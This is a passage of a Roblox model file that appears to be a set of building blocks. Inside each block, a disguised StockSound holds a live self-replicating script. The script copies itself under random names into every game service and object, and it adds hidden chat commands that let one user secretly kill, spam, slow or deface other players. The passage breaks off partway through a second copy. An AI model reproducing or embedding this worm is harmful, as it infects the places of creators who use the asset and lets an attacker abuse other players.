				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-162</X>
					<Y>5.19999838</Y>
					<Z>-11.5</Z>
					<R00>-1.27664535e-013</R00>
					<R01>3.46920236e-012</R01>
					<R02>-1</R02>
					<R10>-3.35397266e-011</R10>
					<R11>1</R11>
					<R12>-3.46920236e-012</R12>
					<R20>1</R20>
					<R21>-3.35397266e-011</R21>
					<R22>1.27664535e-013</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX777">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX778">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX779">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-169</X>
					<Y>9.19999695</Y>
					<Z>-11.4999914</Z>
					<R00>-4.20364677e-006</R00>
					<R01>8.20270202e-007</R01>
					<R02>-1</R02>
					<R10>2.0163084e-007</R10>
					<R11>1</R11>
					<R12>-8.20270202e-007</R12>
					<R20>1</R20>
					<R21>2.0163084e-007</R21>
					<R22>4.20364677e-006</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX780">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX781">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
